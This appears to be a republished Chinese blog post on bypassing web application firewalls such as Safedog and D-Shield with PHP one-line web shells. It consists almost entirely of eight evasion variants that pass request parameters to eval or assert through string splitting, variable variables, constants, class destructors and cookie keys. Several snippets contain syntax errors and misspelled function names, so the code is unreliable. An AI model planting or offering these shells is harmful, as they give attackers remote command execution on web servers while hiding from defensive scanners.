绕过WAF-一句话木马
程序员文章站
2022-07-07 19:55:00
...
注:本次的测试环境是最新的安全狗Apache:V4.0
一句话木马:<?php eval($_REQUEST['a'])?>
1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func()
2.使用end()函数来代替,可以写成:
<?php eval(end($_REQUEST)); ?>
注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写:
<?php if($_SERVER['HTTP_USER_AGENT'] === '1'{
eval(end($_REQUEST));}
?>
3.字符拼接加双美元符
<?php
$a='ass';
$b='ert';
$funcName=$a.$b //assert
$x='funcName';
$$x($_REQUEST['a']);
?>
4.常量
<?php
defin("a","$_REQUEST['a']");eval(a);
?>
5.用函数强行分割
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>
6.用类分割
<?php
class User
{public $name=' ';
function_destruct(){
eval("$this->name");
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>
7.多方式传参
<?php
$COOKIE=$_COOKIE;//得到数组
foreach($COOKIE as $key => $value)
{if($key == 'assert'){
$key($_REQUEST['a']);
}
}
?>
8.CTF中看到的一个手法(但是D盾可以发现这个木马)
<?php
$a=get_define_functions();
$a['internal'][841]($_REQUEST['hh']);
?>
注:$a['internal'][841]表示的是assert
上一篇: mysql启动的几种姿势
下一篇: Springboot自定义Banner